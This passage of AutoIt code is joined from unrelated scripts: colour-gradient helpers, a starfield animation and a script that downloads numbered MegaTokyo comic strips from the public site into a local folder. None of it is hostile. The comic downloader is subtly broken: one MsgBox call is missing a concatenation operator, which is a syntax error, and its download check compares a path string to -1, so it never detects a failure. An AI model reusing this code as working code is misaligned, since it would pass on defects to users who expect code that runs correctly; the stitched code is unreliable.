	IniWrite($INI, "Colors", "4", $Color4)
	IniWrite($INI, "Colors", "5", $Color5)
EndFunc
Func TripleColorGradient($hFirstColor, $hSecondColor, $hThirdColor, $iReturnSize)
	Local $aColorArray = ColorGradient($hFirstColor, $hSecondColor, ($iReturnSize/2)+1)
	Local $aGradient = ColorGradient($hSecondColor, $hThirdColor, ($iReturnSize/2)+1)
	For $i = 0 To $iReturnSize/2
		ReDim $aColorArray[UBound($aColorArray)+1]
		$aColorArray[UBound($aColorArray)-2] = $aGradient[$i]
	Next
	Return $aColorArray
EndFunc
Func ColorGradient($hInitialColor, $hFinalColor, $iReturnSize)
	$hInitialColor = Hex($hInitialColor, 6)
	$hFinalColor = Hex($hFinalColor, 6)
	
	Local $iRed1 = Dec (StringLeft($hInitialColor, 2))
	Local $iGreen1 = Dec (StringMid($hInitialColor, 3, 2))
	Local $iBlue1 = Dec (StringMid($hInitialColor, 5, 2))
	
	Local $iRed2 = Dec (StringLeft($hFinalColor, 2))
	Local $iGreen2 = Dec (StringMid($hFinalColor, 3, 2))
	Local $iBlue2 = Dec (StringMid($hFinalColor, 5, 2))
	
	Local $iPlusRed = ($iRed2-$iRed1)/($iReturnSize-1)
	Local $iPlusBlue = ($iBlue2-$iBlue1)/($iReturnSize-1)
	Local $iPlusGreen = ($iGreen2-$iGreen1)/($iReturnSize-1)
	
	Dim $iColorArray[$iReturnSize+1]
	For $i = 0 To $iReturnSize
		$iNowRed = Floor($iRed1 + ($iPlusRed*$i))
		$iNowBlue = Floor($iBlue1 + ($iPlusBlue*$i))
		$iNowGreen = Floor($iGreen1 + ($iPlusGreen*$i))
		$iColorArray[$i] = Dec (Hex($iNowRed, 2) & Hex($iNowGreen, 2) & Hex($iNowBlue, 2))
	Next
	Return ($iColorArray)
EndFunc
Func RandomColor($hMinColor = 0x000000, $hMaxColor = 0xFFFFFF)
	$hMinColor = Hex($hMinColor, 6)
	$hMaxColor = Hex($hMaxColor, 6)
	
	Local $iRed1 = Dec (StringLeft($hMinColor, 2))
	Local $iGreen1 = Dec (StringMid($hMinColor, 3, 2))
	Local $iBlue1 = Dec (StringMid($hMinColor, 5, 2))
	
	Local $iRed2 = Dec (StringLeft($hMaxColor, 2))
	Local $iGreen2 = Dec (StringMid($hMaxColor, 3, 2))
	Local $iBlue2 = Dec (StringMid($hMaxColor, 5, 2))
	
	Local $iRndRed = Random($iRed1, $iRed2, 1)
	Local $iRndGreen = Random($iGreen1, $iGreen2, 1)
	Local $iRndBlue = Random($iBlue1, $iBlue2, 1)
	
	Return Dec (Hex($iRndRed, 2) & Hex($iRndGreen, 2) & Hex($iRndBlue, 2))
EndFunc

#include <GUIConstants.au3>

Global Const $NumberOfStars = 50
Global Const $Speed = 75  ;From 0 To 100
Global Const $Width = 640
Global Const $Height = 480

Global Const $Pi = 3.1415926535897932384626433832795
$Window = GUICreate("SPACE", $Width, $Height, -1, -1)
GUISetBkColor(0)

;Pick random positions for the stars
Dim $StarsArray[$NumberOfStars+1][4]
For $i = 0 To $NumberOfStars
    $Alpha = Random(0, 360, 1)
    $Radius = Random(0, 250, 1)
    $StarsArray[$i][0] = GUICtrlCreateLabel("", 0, 0, 1, 1)
    $StarsArray[$i][1] = $Alpha
    $StarsArray[$i][2] = $Radius
    $StarsArray[$i][3] = 1
    GUICtrlSetBkColor($StarsArray[$i][0], 0xFFFFFF)
Next

GUISetState()

While 1
    For $i = 0 To $NumberOfStars
        ;Recycle stars that are out of the screen
        If $StarsArray[$i][2] > $Width/2 Then
            $Alpha = Random(0, 360, 1)
            $Radius = Random(0, 250, 1)
            $StarsArray[$i][1] = $Alpha
            $StarsArray[$i][2] = $Radius
            $StarsArray[$i][3] = 1
        EndIf
        
        ;Adjust the thickness of the star
        Select
            Case $StarsArray[$i][2] > $Width/8 And $StarsArray[$i][2] < $Width/3
                $StarsArray[$i][3] = 2
            Case $StarsArray[$i][2] > $Width/3
                $StarsArray[$i][3] = 3
        EndSelect
        
        ;Moves the current star
        $StarsArray[$i][2] += 10
        $X = Sin(($StarsArray[$i][1]*($Pi/180))) * $StarsArray[$i][2] + $Width/2
        $Y = Cos(($StarsArray[$i][1]*($Pi/180))) * $StarsArray[$i][2] + $Height/2
        GUICtrlSetPos($StarsArray[$i][0], $X, $Y, $StarsArray[$i][3], $StarsArray[$i][3])
    Next
    Sleep(100-$Speed)
WEnd

#cs ----------------------------------------------------------------------------

 AutoIt Version: 3.1.1.0
 Author:         tAK Telapis

 Script Function: Grab MegaTokyo Comics
    Template AutoIt script.

NOTES:
    Create the directory c:\MegaTokyo\ before starting this script
    im not sure if it gets auto created. and its neater if it doesnt.
    on the 4th line up from the bottom, $i is matched to a number,
    this number should be set to the number of the most current comic
    as viewable at http://www.megatokyo.com , simple right click the
    current comic, and choose properties. the number is used as part
    of the filename.

#ce ----------------------------------------------------------------------------

; Script Start - Add your code below here

; ---------------------------------
; Set main variables here - directory for comics to be saved here, startubg comic number ($i), set file types
; ---------------------------------
$MTFolder = "C:\MegaTokyo\"
$i = 1
$gif = ".gif"
$jpg = ".jpg"

While 1 ; begin the loop
; ---------------------------------
; Set the file name for the comics as 000 is lost in calculations, default to .gif files
; ---------------------------------
$len = StringLen($i)
    If $len = 1 then
        $ComicName = ("000"&$i)
    ElseIf $len = 2 then
        $ComicName = ("00"&$i)
    ElseIf $len = 3 Then
        $ComicName = ("0"&$i)
    EndIf

; ---------------------------------
; Set the URL of the comic wanted, this keeps the InetGet function clean, check if .gif is valid, if not, change to .jpg
; ---------------------------------
$Url = "http://www.megatokyo.com/strips/"
$URLSize = InetGetSize("http://www.megatokyo.com/strips/"&$ComicName&$gif)
    If $URLSize = 0 then
        $ComicName = ($ComicNAme&$jpg)
    Else
        $ComicName = ($ComicName&$gif)
    EndIf

; ---------------------------------
; get the file, and save it to the MTFolder with the calculated ComicName
; ---------------------------------
InetGet ($url&$ComicName, $MTFolder&$ComicNAme)
; Check to see if the file exists
    If $MTFolder&$ComicName = -1 then
        MsgBox(16, "Error", "Failed to get comic # "&$ComicName)
        Exit
    EndIf
; Check to see that the file has size
$Size = FileGetSize($MTFolder&$ComicName)
    If $Size <= 1 then
        MsgBox(16, "File size is null for", $MTFolder&$ComicName" File size was "&$size)
        Exit
    EndIf
; increase the comic number by 1 to get the next comic
$i = $i + 1
If $i == 887 Then
    MsgBox(0, "End of Comics", "there are only 886 comics at the time of this script, happy reading")
    Exit
EndIf
Wend